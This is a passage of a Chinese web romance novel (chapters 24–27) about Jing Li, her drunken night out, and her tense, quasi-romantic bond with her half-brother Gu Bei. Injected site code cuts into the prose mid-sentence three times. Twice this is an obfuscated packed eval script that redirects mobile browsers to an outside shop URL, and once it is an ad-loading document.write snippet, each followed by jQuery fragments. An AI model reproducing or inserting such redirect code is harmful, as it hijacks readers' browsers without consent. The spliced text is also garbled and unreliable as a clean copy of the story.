荆梨的耳朵砸在男人滚热的胸口,里面蓬勃有力的心跳擂鼓般敲打她的耳膜,震感一路蔓延至心脏,腰后的手臂紧紧箍着她,心跳不由紊乱,连带着血液也失序沸腾。 顾北没有喷香水的习惯,他的味道全由洗衣液带来,和她身上的味道一模一样。 此时此刻,荆梨莫名生出一种,自己与他本就该如此亲密的错觉。 荆梨阖上眼,仔细思考悸动的来源。 直到顾北松开她,那股包裹着她的热源消失,她才恍然睁开眼,目光怔忪地注视着面前的男人。 看着看着,她陡然红了眼眶,眼神也变得无措与痛苦。 原来……来源是他。 “好,尊重你的隐私,我不问了。” 顾北将手机还给她,手顺势上抬,揉上她的耳垂,微微低头和她四目相对,冷硬轮廓在昏昧的路灯下无比温柔,眼里都泛着一层雾蒙的光,“刚刚你在饭桌上是不是生气了。” 荆梨垂下眼,吸了吸鼻子,嗓音闷闷地说:“没有。” 顾北轻笑,没有戳破女孩的逞强:“舅妈也是好心,为我着急,担心我只想着工作,对感情生活不上心。” 荆梨喉头发涩:“那你现在上心了?” 顾北手插兜,闻言深吸了口夜里的凉气,沉吟两秒,仰颈望着天边明亮的圆月,突兀的喉结随着声音上下滚动:“先这样吧,缘分也强求不来。” 说罢,他重新望向她,嘴角轻扯,狭长丹凤眼弯起柔和的弧度:“放心吧,在你高考结束前,家里是不会发生任何变故的。” 他答的似是而非,荆梨却皱紧了眉,表情怅然。 什么样的才算“变故”呢,结婚那样的大事吗…… 那顿晚饭过后,顾北的生活节奏又变回了从前那样,荆梨以为他应该是和那位徐小姐中断进展了。 可从刘春迎高兴的反应来看,他俩似乎“接触”的不错。 再之后,就是荆梨被抓到和理科班的学霸周逸怀在操场上牵手,疑似早恋。 教导主任老陈和班主任老朱共同在办公室对她耳提命面,指责她把清北苗子往沟里带。 连带着她名义上的哥哥——顾北,一块被训。 三人盯着她写下保证书,保证从今以后和周逸怀断绝往来。 望着纸上“周逸怀”这三个字,顾北眸光一暗,从学校到家的这一路上,一句话都没说。 荆梨最怕他冷着脸不吭声的样子,压迫感十足,像克制怒火的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728061|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛兽,随时暴起咬住猎物脆弱的脖颈。 一路惴惴不安地回到家,她打算主动解释一下。 可顾北率先发难,背对着她,沉声道:“你知道你在干什么吗?” 荆梨一顿,没吭声。 男人转过身,漆黑无波的眼睛沉沉地锁住她:“早恋,亏你干的出来,说,你俩谁主动的,是不是那小子哄你的?” 荆梨扣着手指,视线落在地板上,嗫嚅良久:“是我,主动的……” “荆梨!” 顾北音量拔高,近乎低吼,脸色阴沉无比,眼底翻滚着他自己都未曾察觉的阴鸷。 四周一下陷入死寂,空气都凝滞了。 荆梨心跳悬停,她捏紧了手指,抬起头,表情委屈:“你吼什么!” “不就是谈个恋爱嘛,你都能谈凭什么我就不可以,我们又没做什么出格的事,又不谈婚论嫁,你犯得着吼我嘛!” 她不知在讽刺谁,说完自己也不禁心虚。 凭什么,又是凭什么。 顾北轻嗤了声,朝她走近几步,灯光将他的影子投落,盖住清瘦的女孩,“你是个学生,你还未成年呢,你个小屁孩谈什么恋爱?谈得明白么,瞎胡闹!我多大了你跟我比!” 荆梨吞咽一口,眼圈微红,嘴上还在犟:“小屁孩怎么了,小屁孩不能喜欢别人吗?小屁孩就非得什么都听你的,你不就比我大几岁吗,别说的你好像什么都是对的!” 顾北气笑了,眼神沉沉地审视面前的女孩。 这是到青春期了,开始叛逆了,寻找自我认同了。 “行,就那么喜欢他是吧,那你去啊,找他去啊!”顾北指着大门,“你觉得你做的对,你找他去,也别学习了,好好谈恋爱去,未来也别要了!” 荆梨被他这架势拱的心底冒火,梗着脖子吼道:“我的未来我自己看着办!用不着你管!” 话刚落,顾北瞬时噤声。 男人周身的气息陡然变冷,黑眸一眨不眨地紧盯着她。 荆梨倔强地别开眼,场面一时僵持住。 良久,顾北肩膀倾颓,坚硬的背脊似被敲碎了,他自嘲地点点头,眉骨微抬,模样有些苦涩:“也是……” 他滚了滚滞涩的喉结,嗓音仿佛从砂砾中滚过,嘶哑到了极点:“我本来也不是你亲哥,你的未来是好是坏跟我没关系。” 男人的声音在静谧的空间里回荡,落在荆梨的耳中,似一记重锤,砸得她呼吸钝痛。 二人不是没拌过嘴,今天却是第一次吵这么凶的架。 他们都无比清楚二人的关系,但谁都不会主动去挑开那层纱。 因为他们两个无比珍惜“家人”与“亲情”。 但是这一刻,顾北竟然说出“我不是你亲哥”这种话。 荆梨有些承受不住,她顿时滚下热泪,怔然无措地深深望了他一眼,紧接着脚步踉跄地跑出家门。 - 回忆结束,荆梨撑着发胀的脑袋,神色委屈,自语一般喃喃道:“大混蛋……” 易梓薇没听到这句委屈巴巴的脏话,她还沉浸在吃到高岭之花顾北竟然相过亲的瓜的喜悦当中。 “啧啧啧,没想到顾北哥这种级别的大帅哥,初恋竟然靠的是相亲!”她没憋出,肩膀耸动着闷笑出声。 荆梨忿忿地将杯里的酒一饮而尽,恰好服务生又送了两杯上来。 易梓薇来不及阻止,被她抢先一步端走,眼睁睁看着她咕嘟喝了大半。 “天呐我的祖宗,你别喝了,等会晕了送你回去,我怎么跟顾北哥解释啊。”易梓薇瞬间哭丧起脸。 荆梨脸颊红透,闻言小脸皱成一团,手胡乱一挥:“别提他!让他吃他的饭去!” “今晚我还就不回去了,咱姐俩喝到天亮——” 最后一个字刚落地,只听“扑通”一声,刚刚还叫嚣喝到天亮的某人便水灵灵地倒在了沙发上。 易梓薇:“……” 三杯的酒量,还喝到天亮,姐你可真敢吹。 荆梨很瘦,身上没几两肉,但喝醉的人沉得不可思议。 易梓薇那副小身板艰难地扶着她走出酒吧。 带着寒气的夜风迎面吹到女孩因醉酒而滚烫的皮肤上,激起一身的鸡皮疙瘩。 荆梨紧闭的长睫微微颤抖,难受地轻吟了两声,脸不住地往易梓薇怀里埋,试图取暖。 “哎哎哎——” 她这一动,易梓薇更加撑不住她了,眼见着两人即将一起摔倒,下一秒,一双有力的手箍住了荆梨的肩膀,将她揽进了自己怀里。 “谢谢啊……”易梓薇连忙直起身,转头向那人道谢。 等她看清男人的模样,不禁愣住,嘴里喊出他的名字,语气难以置信:“周逸怀?!” 25.大混蛋 Chapter 25 周逸怀搂住荆梨的腰,让她靠在自己胸前,女孩软绵绵的身体就这么被他稳稳圈入怀中。 他这才把注意力分出来一点,抬眸望向易梓薇。 他确定自己之前没见过女生。 但对方能第一眼就喊出他的名字,还是荆梨的朋友,他理应客气一点,便颔首微笑道:“你好。” “你,你好……” 易梓薇眨了眨眼,大脑有些转不过弯来。 这不是荆梨那个早恋对象嘛,他怎么突然出现在这里?还如此自然地抱着她,动作亲昵,看起来很熟的样子…… 越想,她的眼神就越惊奇,诧异的目光不住地在二人之间流转,心里在疯狂嗷叫。 卧槽卧槽卧槽! 所以这是什么情况? 难不成荆梨和她高中的早恋对象……又勾搭上了?! 什么时候? 她怎么不知道! 想到这易梓薇皱起脸,生气地瞪向荆梨,暗骂她也太不仗义了。 这么好玩的八卦竟然不告诉她! …… 此时的荆梨还不知道好友想歪了。 她只觉得有股源源不断的暖流在向她靠近,她有些贪恋,不由圈住男生的腰,滚烫的脸在他颈窝处蹭了蹭,给自己找了个舒服的倚靠姿势,砸吧两下嘴,嘟囔道:“好暖和……” 周逸怀被她蹭的身体一僵,耳根显而易见的充血发红。 场面一时尬住。 周逸怀主动打破沉默:“她,喝了多少?” 思绪跑偏的易梓薇已经脑补出无数二人“旧情复燃”“勾勾搭搭”的情节了,闻言回过神,语气无奈:“三杯而已。” 周逸怀:“……” 易梓薇按捺内心的求瓜欲,挑起话题:“这么巧,你也来这附近玩啊?” “还是——”她瞥了眼睡得没心没肺的好友,暧昧一笑,“荆梨叫你来的?” 周逸怀指了指不远处的餐厅,说:“部门聚餐,我在门口抽根烟,没想到正好看见你们从酒吧里出来,就过来搭把手。” “你们现在要回去吗?” 易梓薇:“嗯,她醉成这样只能先送她回家了。” 周逸怀垂眸望向怀中的女孩。 喝醉了的荆梨出奇的黏人,她不骂人也不乱动,乖乖地贴在人身上,嘴里时不时咕哝几句口齿不清的醉话。 从他的角度,能看见她密长如扇子的睫毛,挺翘小巧的鼻头,以及红透的脸颊。 乖得让人心头发软。 他的眼眸愈发深邃,喉结不自觉轻滚,搁在她腰间的手慢慢收紧。 “你们准备怎么回去?”他问。 “我开车了。”易梓薇顿了顿,又补充,“我没喝酒。” 周逸怀点点头:“那我把她送到车里。” 易梓薇顿时松了口气,感激道:“太感谢了,幸好今晚遇到你,不然我都不知道怎么把这个醉鬼搬上车。” 周逸怀笑笑,没再吭声,抱着荆梨正要下台阶,耳侧传来铃声。 是荆梨的手机,此刻被易梓薇抓在手里。 易梓薇看清来电显示的名字,头皮一麻。 她犹豫是接还是挂,求助的目光投向好友。 奈何对方现在跟丧失行为能力没什么区别。 纠结了好一会,对顾北的畏惧占了上风,易梓薇选择接电话。 接通后,能感受到电话那头的环境十分嘈杂,有推杯换盏的响动,紧接着传来男人平静但满含威严的声音:“为什么挂我电话?” “红包不领,微信不回,生我气了?” 易梓薇干笑两声,小心翼翼地说:“顾北哥,是我,易梓薇。” 男人呼吸滞了一瞬:“荆梨呢?” “怎么是你接的电话?” “她……”易梓薇心虚地瞥了眼男生怀里的荆梨,苦着脸,“现在不太方便。” 顾北眉头猝然收紧,他走出包厢,来到相对安静的走廊,沉声问:“她怎么了?” “她没怎么,就是……睡着了。” “才八点她睡什么觉。”顾北显然不信,“说,你们现在在哪儿呢?” 易梓薇想撒谎混过去,但她一时又想不出什么好的借口打消对方的疑虑。 心里干着急,但越急就越是不知道怎么圆。 “我们在……在那个……嗯……” “别嗯嗯啊啊的。”顾北嗓音又低了几分,无形的压迫感让人无端紧张,“快点告诉我。” 易梓薇低下头,像犯了错的学生,嗫嚅道:“我们在酒吧门口,荆梨喝醉了。” 顾北那边陷入沉默。 易梓薇立刻滑跪,竹筒倒豆子般把今晚发生的事交代干净。 “荆梨说她还没喝过酒,想试试醉了的感觉,就约我今晚出来一起嗨,谁知道她一杯倒,还没开始就结束了……”说到最后,她的音量低到几不可闻。 顾北叹了口气,抬手按了按胀痛的额角,声音透着藏不住的疲惫:“酒吧地址告诉我,我现在过去找你们。” 易梓薇把清吧名字念给了他。 挂断电话,顾北转身回到包厢,已经喝上脸的张总招呼他:“顾老弟接着喝啊!今晚我们不醉不归!” 顾北拿起座位上的包,语气抱歉:“不好意思张总,家里突然出了点事,我得回去处理一下,就先告辞了。” “必须现在处理吗,什么事这么着急啊。”张总问。 顾北笑容无奈:“必须现在。” 张总兴致冷下来:“这样啊,那你去吧。” 顾北又告罪了两句,将杯中的白酒一饮而尽,张总这才脸色好看了点。 他继而拍了拍另外两名男同事:“陪好张总。” 临走前还不忘嘱咐在场唯一的女生:“辛恬你不会喝酒就别勉强,结束之后给我打个电话。” 辛恬下意识跟着站起来,送他到门口,满脸担忧:“顾老师,出什么事了啊,严不严重,需不需要我帮忙?” 顾北安抚似的笑了笑:“不是什么大事,你快进去吧。” 说罢头也不回地离开了饭店。 辛恬站在原地望着他的背影,目光恋恋不舍。 另一边,坦白完的易梓薇心里压着的石头陡然消失,她长长松了口气。 身后的周逸怀在这时发问:“可以走了吗?” 易梓薇笑道:“不用走了,荆梨她哥待会来接她。” 周逸怀一愣:“她有哥哥啊?” 易梓薇疑惑:“你不知道吗?” 周逸怀不自在地轻咳一声:“她没跟我提过。” 易梓薇闻言了然:“她确实不太想让别人知道她还有个哥哥。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731517|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周逸怀倒有些好奇了:“为什么?难道她哥哥长得很丑,拿不出手啊。” “不是不是。”易梓薇笑着摇摇头,“她哥哥可不丑,不光不丑,甚至可以说是帅得惊人,比很多明星长的都好看。” 周逸怀挑眉:“那为什么不想让人家知道。” 易梓薇哑然,她有点不太能准确描述。 思忖片刻,她轻声说:“不知道你能不能理解,就像小时候你得到世界上仅此一件的宝物,就会舍不得跟别人分享,只想自己藏起来。” …… 十分钟后,顾北乘着出租车赶到目的地。 只见酒吧门口的台阶上坐着三个人。 易梓薇,还有一个陌生的寸头男生,而荆梨正靠在对方怀里,眼眸晶亮,脸色呈现不正常的潮红。 她拽着那男生的衣服,耍赖似的时不时扯一下拉一下,嘴里咕咕哝哝,说到高兴处她摇摇晃晃地站起来,拖腔带调地喊道:“大混蛋!” 也不知道在骂谁。 喊完自己傻呵呵地笑出声,又跌坐回去。 周逸怀接住她,控制住女孩乱挥的双手,好笑地问:“谁是大混蛋?” 荆梨眼神迷离地盯着他,手指搁在唇前,夸张地“嘘”了声:“小点声,让大混蛋听到了,他会骂我的。” 周逸怀顺着她的话问:“骂你什么?” 荆梨忽然瘪起嘴,心情由晴转阴,眼圈泛热,委委屈屈地说:“骂我是小屁孩……” 她声音很小,周逸怀听不清,下意识把耳朵凑在她唇边。 从远处看,二人如同耳鬓厮磨的情侣,在腻歪地说着情话。 顾北静静地看着靠在一块的两个人,丹凤眼微微眯起。 他面上没有一丝一毫的表情变化,却莫名让人感觉他此刻的心情糟糕透顶。 似台风天的海面,酝酿着席卷一切的风暴。 易梓薇注意到站在对面的男人,刚要招手,便见对方大步流星地朝这边走过来。 下一秒,在大家都没反应过来的时候,一只青筋浮凸的手突然攥住荆梨的胳膊,将她从男生手里拽出来,扯进自己怀里。 荆梨只觉得一阵晕头转向之后,一道熟悉的气息铺天盖地朝她砸过来,密不透风的将她包裹其中。 后脑被那人扣住,她像只被捏住颈肉的猫,整个人动弹不得。 脸颊被迫贴上对方的胸膛,心跳声隔着衣服布料涌入耳朵。 她茫然地眨了眨眼。 这个怀抱比刚才的那个还要热,带着难以言喻的安全感。 荆梨迟钝地抬起头,对上顾北低下来的目光,心跳就这么漏了一拍。 “先是抽烟,再是喝酒。”顾北面无表情地盯着她,眸色黑得骇人,“胆子真肥了。” 荆梨完全没有被凶的自觉,她还以为自己在做梦,抬手圈住男人的脖颈,下巴抵着他的锁骨,痴痴地笑起来:“大混蛋,你来接我回家啦。” 她踮起脚尖,在顾北失神的时候,鼻子凑到他嘴边,小狗一样拱着他的脸,用力嗅了嗅。 “有酒的味道,你也喝酒了。”她咕哝道,“你的酒味好好闻,我也想喝。” 说罢,她伸出舌尖,飞快地舔了下男人的唇角。 顾北呼吸一滞,按在她背上的手兀地攥紧成拳。 低垂的黑眸深深地睨着她。 26.蹭巧克力 Chapter 26 场面静滞下来,气氛蓦然有些微妙。 易梓薇张大了嘴,眼神惊恐地盯着抱在一块的兄妹俩,高举的手机对准二人,屏幕上还维持着视频录制的页面。 她本意是想录下荆梨酒后出丑的模样,好等对方清醒后当面开大,亲自帮她回忆。 没成想竟然录到了荆梨“调戏”她哥的画面。 她望着顾北阴沉沉的脸色,默默放下手机,心里为荆梨点起了蜡烛。 完全不知道自己刚才干了何等惊世骇俗的壮举的荆梨砸吧了两下嘴,似乎觉得味道不错,神情满足地弯了弯唇。 低头轻嗅男人的颈侧,不知道闻到了什么,荆梨迷离的醉眼恍惚了一瞬,圈着他脖颈的手臂又收紧几分,额头依恋地抵在他肩窝,像游荡在无边海面的小船终于找到了停靠的港湾,乖巧安静下来。 期间,顾北始终看不出情绪变化。 他任由她胡闹,直至怀中的女孩不再动弹,他才面不改色地弯腰将人打横抱起,接着转身就要走。 被突然的变故怔在原地的周逸怀见状回过神,他上前挡住去路,语气不善:“你谁啊,把荆梨放下来。” 顾北眼尾轻挑,没吭声,沉冷的目光上下扫视着面前的男生。 这就是那个迷得荆梨跟他翻脸的早恋小子啊。 寸头加耳钉,不是混混就是骚包。 思及此,他垂眸睨向女孩红透的睡颜。 眼光真差。 他略带轻蔑地哧了声,没工夫应付对方,面无表情地淡淡道:“滚开。” 反应过来正要上前把周逸怀拉走的易梓薇听到顾北这声隐隐带着戾气的滚开,不禁愣了愣。 她还是第一次见到向来成熟稳重的顾北哥展现出如此不客气的一面。 “你!”周逸怀表情微变,正要上前理论,胳膊被易梓薇扯住。 “他就是荆梨的哥哥。”易梓薇提醒道。 周逸怀闻言皱了皱眉,目光迟疑地打量起男人的脸。 “亲哥哥吗?怎么长得一点也不像。” 易梓薇脱口而出:“当然是亲的了。” 但随即她又不太确定地瞥向顾北,心头莫名打起鼓。 虽说他俩是同母异父的兄妹,但确实长的……毫无相似的地方。 “像不像关你屁事。” 顾北轻轻掠了眼男生,抱着荆梨,径直越过他走向出租车。 易梓薇抱臂目送出租车开走,扭头对着周逸怀说:“哎,我怎么感觉顾北哥对你很不爽啊。” 她轻“嘶”了声,喃喃自语道:“难道这就是娘家人面对拱自家小白菜的臭男人而产生的敌意么。” 周逸怀没说话,意味不明的目光还在追随着汽车尾灯,直至它汇入车流,成为夜晚城市霓虹闪烁的一部分。 他自然感受到了荆梨这个所谓的哥哥对他的不爽。 是那种男人之间针锋相对时迸发的不爽。 “不是兄妹么,怎么一个姓荆一个姓顾?”他问。 易梓薇解释:“荆梨说他俩是同母异父。” 周逸怀挑挑眉,不置可否。 - 周末的晚高峰车流拥堵,出租车走走停停,司机师傅脚又重,每次刹停车子都会猛地顿挫一下。 来来回回好几次,让荆梨本就因醉酒而晕乎的脑袋愈发胀痛,胃里也开始翻滚。 她难受地哼了哼,从顾北怀里挣脱开来,捂住嘴巴:“想吐……” 前头的司机闻言熟稔道:“吐车里二百。” 荆梨立刻用力咽了咽唾沫,将冒上来的吐意压了下去。 顾北注意到她的小动作,没忍住翘了翘唇角。 但紧接着他的思绪便一怔。 嘴角被舔过的地方还残存着湿软的触感。 眼前划过荆梨勾着他的脖子笑意盈盈的模样,呼吸骤然繁乱,顾北冷脸沉了口气,喉结滞涩滚动,强行忽视心口异样的感觉。 他揽过她的肩膀,让她躺在自己腿上,手指轻轻按揉她的太阳穴。 荆梨拧紧的眉头瞬间舒展,她脸颊泛着醉意的粉,呼吸平缓,清纯稚气的五官看起来软乎乎的。 也就只有这种特殊的时刻,她才会变回小时候那个无条件信赖他,向他撒娇的小姑娘。 车厢光线昏暗,男人低垂的眼眸氤氲着一层温柔的光。 似月下被微风吹皱的静谧湖面,荡漾出他自己都未曾意识到的涟漪。 “你要是一直不长大该多好。” 顾北嗓音低哑,轻抚女孩的眉眼,绒绒的眉毛扎着他的指腹,带来无法忽视的痒。 荆梨突然睁开醉醺醺的眼睛,迷茫地眨了眨,似是没反应过来脸前热乎乎,硬邦邦,像堵墙一样的东西是什么。 她抬起手指戳了戳顾北的腹肌,似有所感,眸光一亮:“巧克力!” 顾北压低脖颈靠近她,低声问:“什么?” 荆梨孩子般一把搂住男人的腰,脸埋在他腹前用力磨蹭,蹭着蹭着,他的衣摆被蹭开,下一秒,女孩温热的呼吸霎时喷洒在他的皮肤上,带着足以灼伤皮肤的热度。 “!” 顾北身体猛地一僵,双眼微微瞠大,低头望着对他“胡作非为”的小姑娘,沉静的黑眸浮着淡淡无措。 “巧克力……”直到荆梨滚热的脸颊贴上他僵住的腹肌,嘴里发出舒服的叹慰,似在用这种方式给自己降温。 她像终于获得了自己一直以来渴望又执着的东西,唇角挂着满足的微笑。 顾北的手悬停在半空,指腹与女孩颊边可爱的梨涡相距一寸的距离。 他理应推开她的,可身体却莫名脱离了他的控制,动弹不得,他全无办法,在心里一遍遍用“她只是喝醉了”这个现实情况来合理化自己的纵容。 于是纵容便成了他对她的温柔。 前方红灯消散,车辆终于顺畅通行,路灯飞速从窗外掠过,厢内光影浮动跳跃,仿佛与世隔绝的静谧空间。 这个空间里静谧的角落,顾北眉眼低垂,英挺的眉宇间萦绕着化不开的温情,女孩柔顺的长发披散开来,丝丝缕缕缠绕着他的手指,也似疯涨的藤蔓,爬上他的心。 顾北指尖轻落,终于如愿以偿地戳中荆梨的梨涡。 他早就想这么干了。 奈何女孩长大后就很少在他面前如此毫无防备的笑过了。 许是被扰到清梦,荆梨敛了笑,不悦地嘟囔了一句:“别跟我抢……” 顾北失笑,问她:“抢什么?” 荆梨闭着眼:“这是我的巧克力……” 顾北不明白为什么她醉后这么执着巧克力。 他记得以前每次陪她去超市,来到零食区,她的目光从未在摆放巧克力的货架停留过。 他问过她。 当时荆梨的回答非常酷:“我不爱吃甜的东西,尤其是巧克力。” 不一会儿,出租车突然停下,顾北抬眸朝窗外看去,发现距离小区还有一个红绿灯。 “师傅,怎么不走了?”他问。 司机:“前面路口修路,车过不去,反正离目的地也不远了,你们走回去吧。” 顾北犹豫片刻,付了车费,搀扶着荆梨下了车。 二人刚站稳,荆梨便捂着嘴跌跌撞撞地跑到花坛边,接着吐了出来。 顾北 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上前轻拍她的后背,见她吐得痛苦,便抬头扫视四周,发现不远处有家24小时营业的连锁便利店。 “在这等我一下,别乱跑。” 丢下这句话,他飞快朝便利店跑去。 荆梨吐完便瘫坐在了花坛边,她抱着膝盖,闭上眼缓了缓,感觉那阵控制大脑的醉意退却了不少,神思也渐渐清晰起来。 但显然她忘了醉时“调戏”顾北的那段记忆。 不然当顾北拎着塑料袋出现在她面前时,她的反应不会这么平静。 “胃里不好受吧。”顾北在她跟前单膝跪下,拧开矿泉水,递给她,“喝口水。” 荆梨掀开沉重的眼皮,淡淡瞥了他一眼,想起白天他说话不算数的“恶行”,倔劲又冒了出来,她别过脸,用沉默拒绝他的好意。 顾北见她突然又恢复成往日跟他作对的犟种模样,心底莫名失落。 他叹了口气,抬手扣住她的下巴,将瓶口怼到她唇边,似笑非笑地威胁道:“喝不喝?不喝的话别逼我动手把你嘴巴掰开倒进去。” 荆梨闻言委屈又加重了几分,眼圈不自觉泛红,控诉地瞪着他。 仿佛在说:你竟然还有脸凶我! 顾北不知道她的心理活动,只当她还在撒酒疯,便软下语气哄道:“乖,听话,你刚吐完,喝点水胃里不会那么难受。” 荆梨盯着他看了一会儿,这才不情不愿地张开嘴,顺着他的动作小口喝了起来。 连哄带骗喝下小半瓶,见她表情没那么难受了,顾北才总算松了口气。 他干脆原地挪动脚步,转过身背对着她,说:“上来,我背你回去。” 望着男人宽阔的后背,荆梨稍显迟疑。 “快点。” 女孩许久不回应,顾北回眸睨了她一眼,狭长眼尾向上拉出一个漂亮的弧度,自带矜贵疏离的冷感。 荆梨被这一眼看得心跳一滞,她磨磨蹭蹭地趴到他背上,顾北伸手捞过她的膝窝,轻松起身将人背好。 荆梨手搭在他肩头,滞空的双脚随他的走动而轻轻晃动。 一时无人说话,安静的空气中漂浮着淡淡的尴尬。 当顾北以为他俩要这样一路沉默着回家时,背上的姑娘突然没头没脑地冒出一句:“骗子。” 顾北一顿,偏头去看她:“你说什么?” 荆梨盯着他的侧脸,鼓足勇气重复道:“我说你是个大骗子。” 顾北停下脚步,眼神茫然:“我怎么就变成大骗子了,我骗你什么了?” 残存的醉意让荆梨的情绪控制不住的外露:“你答应我中午就回家陪我吃饭的。” “你明明回不来,还要我等你。” “老是这样,我也是会难过的好不好……” 话说到最后,音量减消,似喃喃低语。 荆梨咬了咬唇,将下半张脸埋在他背后,视线逃避似的望向别处,鼻音浓重。 听到她难得不逞强的坦言,顾北面上闪过一瞬的愕然。 他怔然地看着眉眼低垂的女孩,此时二人间过近的距离让他很容易就发现荆梨黑白分明的杏眸中升腾起雾蒙蒙的泪意。 怪不得红包不领,电话不接。 原来是在气他这件事。 意识到这点,顾北忽然感觉心脏仿若被一只手轻轻攥了下,从胸腔深处绵延开酥麻的涩意。 他一下便软了心神,也后知后觉感到自责。 他想起中午自己的那通电话,实在算得上讨人厌。 顾北忽然冒出一个念头。 其实这些年荆梨看似“叛逆”与“作对”的态度,都是因为他那些讨人厌而不自知的行为所逼出来的。 27.撒娇 Chapter 27 顾北不觉陷入沉默。 果然,他又得意忘形了。 他习惯了让荆梨等他。 心里下意识认定对方永远不会离开他,于是承诺张口便来,做不到也不当回事。 思及此,顾北语气诚恳地道歉:“对不起小梨,是我的错,下次再也不敢了。” “又是你错了。”荆梨闻言神情一恹,抻开胳膊圈住他的脖颈,脸埋在他肩窝丧丧骂道,“顾北你好烦呀……” 顾北轻笑,不跟醉鬼计较,继续往前走:“好,我烦,多骂几句,骂到你气消为止。” 荆梨还没醉到听不出男人在逗她。 她猛地抬起脑袋,双手勒住他的脖子,指腹就这么按在他凸起的喉结上,稍稍使劲,用这种方式在他身上撒气。 “掐你。”她哼声道,嗓音软软的,“大骗子,大坏蛋。” 顾北配合地哀叫几声,嘴角却抑制不住地上扬。 女孩的力道跟小猫挠痒似的,毫无半点杀伤力,他权当哄小孩玩,任由她胡闹。 这一瞬间,他们仿佛又回到了吵架之前的日子。 秋意萧瑟,夜晚静谧,顾北背着荆梨慢步走在无人的街道,像过往每一次他们携手逃跑的时刻。 世上再无旁人,他们只有彼此。 掐了一阵,荆梨没意思了,她放下手重新趴在他背上,滚热的脸颊贴上他后颈的皮肉,闭着眼嘟囔道:“讨厌你……” 顾北拖腔带调地“嗯”了声,心情大好:“我不讨厌你。” 荆梨不爽他的敷衍,抬手捂住他的嘴巴:“别说话,你说的话没一句是我爱听的。” 顾北不服地哧了声。 心道自己说不讨厌她还说错了。 柔软掌心被他的唇烫得发痒,荆梨便松开了手,脸凑过去蹭了蹭男人凉凉的耳朵,声音黏糊:“你什么也不懂。” 顾北顺着她的话说:“是,我什么也不懂。” 荆梨骂他:“笨蛋……” 顾北还嘴:“我是笨蛋,你是什么?” 荆梨默了默,手臂交缠,将他脖颈搂紧:“我也是笨蛋。” 顾北笑了:“那多配啊,我是大笨蛋,你是小笨蛋,笨到一块了,谁也不嫌弃谁。” 明明没有结果,却总给她“可以一辈子”的错觉。 荆梨喉咙一涩,心口酸麻翻涌,她重新捂住男人的嘴,警告道:“都叫你别说话了。” 顾北:“……” 这丫头喝醉了怎么这么霸道呢。 四周安静下来,谁都没再说话。 背上女孩的呼吸逐渐趋于平缓,应该是又睡着了。 顾北抬眸望向天边高悬的月亮,深吸了口气,寒冷的空气被挤入肺部,缓解了他被酒精影响的昏沉思绪。 他喉结不住滚动,嗓音嘶哑着喃喃低语:“下次我要是再说话不算数,记得就像今天这样,直接告诉我。” “把你的不爽和难过,都告诉哥哥。”顾北稍稍偏过脑袋,下颌贴上女孩的发顶,黑眸似月下的静潭,温柔无波,“我不怕你跟我生气,就怕你再也不愿意对我说真话了。” “小梨,多跟哥哥撒点娇吧。” 荆梨已然沉入梦乡,没听见他说的话,手指却无意识地勾缠住他的衣领。 动作间带着满满的依恋。 顾北无声勾唇,背着她,脚步平稳地朝家的方向走去。 - 将沉睡的女孩抱到床上,顾北帮她褪掉鞋子,继而去脱她的外衣。 荆梨今天穿了件修身的针织外衫,勾勒出饱满的胸型,以及不盈一握的细腰,她毫无防备地仰躺着,墨发四散铺开,衬得那张白里透红的小脸愈发漂亮惹眼。 床头的灯光倾洒下来,在她稚嫩的面庞覆上一层暖绒的光,将不谙世事的清纯意味又加深几分。 顾北俯下身神情认真地解她的扣子,目光不经意上抬,掠过她的脸,不由一顿。 下一瞬,领口的扣子在他指下被解开,女孩胸口大片的雪白肌肤露了出来,纤细锁骨因酒精而染上淡粉,随着她的呼吸而上下沉浮。 空气蓦地陷入死寂。 顾北的动作慢慢迟缓,最终停了下来。 他才发现,荆梨里面没穿背心,她直接在内衣外套了件针织衫。 喉结微不可见地滚动,喉咙莫名干渴发痒。 冷空气接触皮肤,荆梨在睡梦中蹙了蹙眉,不舒服地嘤咛出声。 顾北猛然从怔忪中回过神,他触电一般缩回手,扯过被子将荆梨盖个了严实,紧接着转过身,背靠着床,不再去看她。 他下颌微微绷紧,咬肌鼓动,眼神失焦地落在不知名的地方。 眉宇间掠过罕见的狼狈。 原来她长大的,不止脾气。 顾北忽然想起他第一次带荆梨去商场买内衣的时候,那会儿荆梨才十岁。 他对这方面一窍不通,便拜托刘春迎过来帮忙。 荆梨扯着他的袖口,扭扭捏捏地不肯跟舅妈进店。 顾北便哄她只是买件普通的衣服而已,不用害怕。 荆梨当时眨巴着大眼睛问他:“那大家都会穿这个衣服吗?” 顾北点头:“大家都穿。” 荆梨:“哥哥也穿吗?” “……” 顾北硬着头皮道:“穿,哥哥当然穿了。” 得到顾北的答案,荆梨总算笑了出来,不再抗拒。 回忆戛然,顾北不禁抿唇一笑。 方才那股异样的欲念消失不见。 他重新走到床边,把被角掖好,居高临下地望着荆梨醉醺醺的小脸,没忍住,伸手捏了一把。 “以后不准你再喝酒了。”他轻顿,话锋又一转,“非要喝,也只允许在我面前喝。” 话落,一室寂静,无人应答,只能听见空调工作的声响,以及荆梨安稳的鼻息。 